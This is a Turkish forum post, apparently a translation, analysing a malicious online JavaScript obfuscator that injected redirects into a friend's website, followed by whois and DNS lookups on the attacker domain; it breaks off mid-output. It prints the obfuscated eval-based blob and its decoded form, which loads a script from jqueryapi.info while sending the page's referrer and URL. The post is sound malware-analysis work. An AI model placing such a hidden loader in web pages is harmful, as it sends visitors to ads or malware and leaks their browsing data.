<div><font color="White"><font size="3"><div align="center">Oyunun Sonu: Dolo Malo - JavaScript Reklam Yazılımına Maruz Kalmak



İnternetin katı kuralların ve kısıtlamaların olmadığı özgür bir yer olduğunu düşünüyoruz. Bu özgürlük fikirlerin hızlı bir şekilde prototipini oluşturmamıza, iş kurmamıza ve önceden mümkün olmadığını düşündüğümüz şekillerde birbirimizle bilgi alışverişinde bulunmamıza olanak tanır. Ancak bu özgürlüğün birde diğer tarafı var. Çeşitli yetenekleri kapsayan teknoloji meraklısı insanlar, şüphelenmeyen insanları kandırmaya karşı doğal bir tepki gösterirler. Bu dolandırıcılıklar, kötü olandan zararlıya ve ya son derece tekniksellikten işlevselliğe kadar çeşitlilik gösterir.


Bu yazıda son zamanlarda tesadüfen karşılaştığım bir olayı paylaşacağım. Bir arkadaşım web sitesinde dolaşırken ara sıra yönlendirme sorunu yaşadığı için benimle iletişime geçti. Gördüğümüz gibi yönlendirmede beklemediğimiz bir misafir vardı. Hukuk konusunda uzman değilim ve bu yüzden bunun teknik olarak yasa dışı olup olmadığını söyleyemem ama sanırım hepimiz bunun oldukça kaba ve utanmaz bir davranış olduğu konusunda hemfikir olacağız!

Kaynaklar:

A comprehensive (albeit a bit old) resource on conditional redirection - Aw-Snap
JSDetox, Javascript malware analysis and deobfuscation - JSDetox


OMGWTF devam ediyor mu?


Bütün bu hikaye arkadaşımın web sitesine gelen ziyaretçilerin (reklamlara / kötü amaçlı yazılımlara) yönlendirildiğini bana söylemesiyle başladı. İlk başta kötü bir tarayıcı eklentisi veya benzeri bir şey yüklediği için suçlunun kullanıcı olduğunu düşünmüştüm. Ancak sonunda otomatik yönlendirmeyi bir android tarayıcı kullanarak çoğaltabildik.


Şüphelerimi bir kenara bıraktıktan sonra şüpheli olabilecek herhangi bir şey var mı diye webroot'u sürekli olarak taramaya başladım. Ayrıca mevcut webroot'un tüm php ve javascript (jv) eklentilerini yedek kopyalarla değiştirecek tek satırlık bir bash oluşturdum. Bir şeyin çıkacağından emindim ama hiçbir şey çıkmadı?


Ardından içimde ki öfkeyle websitesinde gezinmeye başladım (ve taracıyının ön belleğini temizledim), fakat tüm sayfaların otomatik yönlendirmeden etkilenmediğini fark ettim. Detaylı bir şekilde inceledikten sonra bu sayfaların her birinde karmaşık bir javascript kodu yani bir blob fark ettim. Görünüşe göre arkadaşım javascript kodunun bazı iç işleyişlerini gizlemek için çevrimiçi bir gizleyici kullanıyordu.


Nihayet gerçek suçlu göründü, gizlenmiş blobun kaldırılması yeniden yönlendirmeyi durdurdu. Arkadaşıma Javascript Obfuscatorı kullanarak javascript kodlarını yeniden kodlamasına ve web sayfalarını güncellemesine yardımcı oldum.


Eval()


Bu noktada biraz meraklandım ve artık ilgilendiğim tek şey sorunu çözmek değildi. Bu yön değiştirmenin dibine inmek istedim. Bakalım bu kovboy planını çözebilecek miyiz?

The bad guy: MyObfuscate







Bu amacımı test etmek için obfuscatora bazı temel javascript kodları geçirdim.



Kod:
alert('Test!')
Görünüşe göre elimizde insan tarafından okunmayan orantısız şekilde büyük bir girdi var.



Kod:
var lOO='=oQKpkyJ8dCK0lGbwNnLnw3bm5Wa8NmczRXZnx3Nywncl JnclZWZyxXZwF2YzVmb1xHZslGaDRmblBHchxXZwF2YzV2X8xm c1xXawFWey
VWdxpGflRXaydHf4IDfmVmc8t2b8RnbJV2cyFGc8BHd0hGf05W ZtVGbFVGdhVmcjxHdzVGV3IDfkFWZoxXZtFmTnFGV5J0c05WZt VGbFRXZnxHTSVF
f0BXayN2cDNDf0JXZsFWRzwnchZHfFNDfPBDb8Rnbl1Wdj9GZ8 RHcpJ3Yzx3MzwnN3wnNzwXZk92QyFGaD12byZGf1MDfyYDfw8U Mfx3QzwHduVmbv
BXbvNUSSVVZk92YuVGfjJ3c8ljM8dmbpJHdTx3Zulmc0N1b0xH c4V0ZlJFf0lGbwNHfsFmdlx3dl5GfmlGflxWaodHflNWYsBXZy xnbyVHdlJHfu9W
a0Nmb1ZGf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8 xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xH f8xHf8xHfnwiNy
EDLyYDLnkSK9tHLwwSKnwFfnwFKsFjLnwVTxwHcxwXMyw3TxwX Uxw3SxwnSxwnRxw3RxwHSxwXSxwHUxwHVxwHWxwHMywnWxwXWx wnVxwnUxw3Vxw3
UxwXVxwHTxwHbxwHaxwXZxwXaxw3ZxwnZxwnbxwXbxwnaxw3ax wncxwXcxw3cxwHRxwXQxwHdxwnQxw3QxwXRxwnexwHf8xHf8xH f8xHf8xHf8xHf8
xHf8xHf8xHf8xHf8xHf8dCXskXMsUXMscCXpkSKnwFXcx3JcxF XoElLnwFXcpFfwEDfxEDfyEDfZxHNxwHV8VFfWx3V8NTM8dTM8 FWM8NWM8JWM8RW
M8hTM8lTM8VTM8ZTM8hFfSxHR8VEfGx3Q8NFfHxnQ8lHf6xXQ8 dCXcxFL4xCescCXcx1OpkiNoAHKv5SM7kiMo4mL0sTXwsVKnwF XcxFXcxFbnwFXc
xFXcxFKt5SM9QDIzsTKy5SMoUzKnwFXcxFXcxVP1ZyJcxFXcxF XctSK25SMoUzKnwFXcxFXcxVP0ZyJcxFXcxFXctyJcxFXcxFXc tWPz9zL35Scv8i
OodCXcxFXcxFX9gjLysTKnwFXcxFXcx1NnwFXcxFXcxFKi5SM9 IDIzszJcxFXcxFXcFWJ38SOloWJjVSalcWJmVCZlUWJnwFXcxF XcxVP2AyMnwFXc
hSfwBCT91XKdN2WrxSKnwFXcd2JcxFXscCXcxlYcxFXcxFXcx1 JcxFXrkSYoskLjtyJcxFXixFXcxFXcxFXnwFXchiSgkEKN5Cc9 A3ep01YbtGKOtX
Kt0yYoA1epQGLlxyasMGLhxCco8EKIdCXo0HcgYWM91XKdN2Wr xSKnw1ZnwFLnwlYcxFXcdCXrkyYoU2KnwlYcxFXcdCXo0WMgoW MocWMuAXPwtXKd
N2WrhSaxsXKt0yYogWM70XM9M2O9dCXrcHXcxFXnwlZxsXKoUW M9U2Od1XXltFZgYWM7lSZoUWMb1za9lyYoUGf811YbtWPdlyYo U2WktXKt0yYogW
M7lSKvFDLv41LocWMucCXnwVIokWM70XKpgXMo4WMuMmOpAXMr MGK3FjLvFzP2FjPpEWJj1zYogyKpkSKh9yYo4UMoUmOnw1Jc9T Y8MGKmFzepMGKl
FTPltXKkxSZssGLjxSYsAHKlFDKrFzJo0Hcg4mc1RXZy1Xfp01 YbtGLpcyZnwyJixFXnsSKjhSZrciYcx1JoAHeFdWZSBydl5GKl NWYsBXZy5Cc9A3
ep01YbtGKml2ep0SLjhSZslGa3tTfpkiNzgyZulmc0N1b05yY6 kSOysyYoUGZvNkchh2Qt9mcm5yZulmc0N1P1MjPpEWJj1zYogy KpkSKh9yYoQnbJ
V2cyFGcoUmOncyPhxzYo4mc1RXZytXKjhibvlGdj5Wdm1TZ7lC ZsUGLrxyYsEGLwhibvlGdj5WdmhCbhZXZ';function I1I(data){var IlllOI
="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv wxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h
1=IlllOI.indexOf(data.charAt(i++));h2=IlllOI.index Of(data.charAt(i++));h3=IlllOI.indexOf(data.charAt (i++));h4=Illl
OI.indexOf(data.charAt(i++));bits=h1= 0; i--) {
ret += string.charAt(i);
}
return ret;
}

eval(Var1(Var3('=oQKpkyJ8dCK0lGbwNnLnw3bm5Wa8NmczR XZnx3NywnclJnclZWZyxXZwF2YzVmb1xHZslGaDRmblBHchxXZ wF2YzV2X8xmc1x
XawFWeyVWdxpGflRXaydHf4IDfmVmc8t2b8RnbJV2cyFGc8BHd 0hGf05WZtVGbFVGdhVmcjxHdzVGV3IDfkFWZoxXZtFmTnFGV5J 0c05WZtVGbFRXZ
nxHTSVFf0BXayN2cDNDf0JXZsFWRzwnchZHfFNDfPBDb8Rnbl1 Wdj9GZ8RHcpJ3Yzx3MzwnN3wnNzwXZk92QyFGaD12byZGf1MDf yYDfw8UMfx3Qzw
HduVmbvBXbvNUSSVVZk92YuVGfjJ3c8ljM8dmbpJHdTx3Zulmc 0N1b0xHc4V0ZlJFf0lGbwNHfsFmdlx3dl5GfmlGflxWaodHflN WYsBXZyxnbyVHd
lJHfu9Wa0Nmb1ZGf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8x Hf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf 8xHf8xHf8xHf8x
HfnwiNyEDLyYDLnkSK9tHLwwSKnwFfnwFKsFjLnwVTxwHcxwXM yw3TxwXUxw3SxwnSxwnRxw3RxwHSxwXSxwHUxwHVxwHWxwHMyw nWxwXWxwnVxwnU
xw3Vxw3UxwXVxwHTxwHbxwHaxwXZxwXaxw3ZxwnZxwnbxwXbxw naxw3axwncxwXcxw3cxwHRxwXQxwHdxwnQxw3QxwXRxwnexwHf 8xHf8xHf8xHf8x
Hf8xHf8xHf8xHf8xHf8xHf8xHf8dCXskXMsUXMscCXpkSKnwFX cx3JcxFXoElLnwFXcpFfwEDfxEDfyEDfZxHNxwHV8VFfWx3V8N TM8dTM8FWM8NWM
8JWM8RWM8hTM8lTM8VTM8ZTM8hFfSxHR8VEfGx3Q8NFfHxnQ8l Hf6xXQ8dCXcxFL4xCescCXcx1OpkiNoAHKv5SM7kiMo4mL0sTX wsVKnwFXcxFXcx
FbnwFXcxFXcxFKt5SM9QDIzsTKy5SMoUzKnwFXcxFXcxVP1ZyJ cxFXcxFXctSK25SMoUzKnwFXcxFXcxVP0ZyJcxFXcxFXctyJcx FXcxFXctWPz9zL
35Scv8iOodCXcxFXcxFX9gjLysTKnwFXcxFXcx1NnwFXcxFXcx FKi5SM9IDIzszJcxFXcxFXcFWJ38SOloWJjVSalcWJmVCZlUWJ nwFXcxFXcxVP2A
yMnwFXchSfwBCT91XKdN2WrxSKnwFXcd2JcxFXscCXcxlYcxFX cxFXcx1JcxFXrkSYoskLjtyJcxFXixFXcxFXcxFXnwFXchiSgk EKN5Cc9A3ep01Y
btGKOtXKt0yYoA1epQGLlxyasMGLhxCco8EKIdCXo0HcgYWM91 XKdN2WrxSKnw1ZnwFLnwlYcxFXcdCXrkyYoU2KnwlYcxFXcdCX o0WMgoWMocWMuA
XPwtXKdN2WrhSaxsXKt0yYogWM70XM9M2O9dCXrcHXcxFXnwlZ xsXKoUWM9U2Od1XXltFZgYWM7lSZoUWMb1za9lyYoUGf811Ybt WPdlyYoU2WktXK
t0yYogWM7lSKvFDLv41LocWMucCXnwVIokWM70XKpgXMo4WMuM mOpAXMrMGK3FjLvFzP2FjPpEWJj1zYogyKpkSKh9yYo4UMoUmO nw1Jc9TY8MGKmF
zepMGKlFTPltXKkxSZssGLjxSYsAHKlFDKrFzJo0Hcg4mc1RXZ y1Xfp01YbtGLpcyZnwyJixFXnsSKjhSZrciYcx1JoAHeFdWZSB ydl5GKlNWYsBXZ
y5Cc9A3ep01YbtGKml2ep0SLjhSZslGa3tTfpkiNzgyZulmc0N 1b05yY6kSOysyYoUGZvNkchh2Qt9mcm5yZulmc0N1P1MjPpEWJ j1zYogyKpkSKh9
yYoQnbJV2cyFGcoUmOncyPhxzYo4mc1RXZytXKjhibvlGdj5Wd m1TZ7lCZsUGLrxyYsEGLwhibvlGdj5WdmhCbhZXZ')));
Gerçek sihir başlasın! JSDetox kodu çalıştırıyor ve bu durumda şifresi çözülmüş kodları çıkarmak için eval?in olduğu yere kesme noktaları yerleştirdi. Bunun sonucunda, değerlendirmelerden biri ve başka bir şey daha orijinal kutumuza gelir!







Değişkeni yeniden adllandıralım ve obfuscated javascript kodunun neyi çalıştırdığına yakından bakalım.



Kod:
// -=Generates evil URL=-
// encodeURIComponent: This function encodes special characters (including , / ? : @ & = + $ #).
// ********.referrer = Returns the URI of the page that linked to this page.
// ********.URL = Returns the string URL of the HTML ********.
var EvilRequest = ********.createElement('script');
EvilRequest.src = "http://jqueryapi.info/?getsrc=ok&ref=" + encodeURIComponent(********.referrer)
+ '&url=' + encodeURIComponent(********.URL);

// -=Injects URL=-
// HeaderEdit: Grabs the element of the page.
// appendChild(EvilRequest): Appends the EvilRequest script element to where it is automatically loaded.
var HeaderEdit = ********.getElementsByTagName('head')[0];
HeaderEdit.appendChild(EvilRequest);

// -=Executes our initial code=-
// Finally ********.write is used to execute the legitemate javascript (in this case "alert('Test!')").
********.write(unescape('%3Cscript%3Ealert%28%27Te st%21%27%29%3C/script%3E'));
Bunu gizli javascript içeren bir html sayfası oluşturarak ve onu yerel web sunucumuza bırakarak, gelen isteği bir proxy ile durdurarak kolayca doğrulayabiliriz. Aşağıdaki ekran görüntülerinden zararsız javascriptimizin eve telefon etmeye çalıştığını görebiliyoruz!











Ama bekleyin!



Bu hikaye de hala eksik bir bölüm var. Javascripti deşifre ettikten sonra ?jqueryapi.info? nun alan adına bir göz atmak istedim. Whois bilgileri çoğunlukla gereksiz olsa da, alan adının yakın zamanda kurulmuş olduğunu tespit edebiliriz.



Kod:
root@darkside:~# whois jqueryapi.info |egrep 'Creation|Expiry|Registrant'

Creation Date: 2014-02-28T06:26:23Z
Registry Expiry Date: 2015-02-28T06:26:23Z
Registrant ID:CR162077161
Registrant Name:Registration Private
Registrant Organization:Domains By Proxy, LLC
Registrant Street: DomainsByProxy.com
Registrant City:Scottsdale
Registrant State/Province:Arizona
Registrant Postal Code:85260
Registrant Country:US
Registrant Phone:+1.4806242599
Registrant Phone Ext:
Registrant Fax: +1.4806242598
Registrant Fax Ext:
Registrant Email:[email protected]
Hızlı bir numaralandırma yaptım ve ?jqueryapi.info? sunucusunun Rusya?da olduğunu gördüm.



<div style="margin:20px; margin-top:5px"> Kod:
root@darkside:~# host -t any jqueryapi.info

jqueryapi.info has address 188.64.170.17
jqueryapi.info has SOA record ns73.domaincontrol.com. dns.jomax.net. 2014022702 28800 7200 604800 600
jqueryapi.info name server ns74.domaincontrol.com.
jqueryapi.info name server ns73.domaincontrol.com.

root@darkside:~# dig -x 188.64.170.17

; DiG 9.8.4-rpz2+rl005.12-P1 -x 188.64.170.17
;; global options: +cmd
;; Got answer:
;; ->>HEADER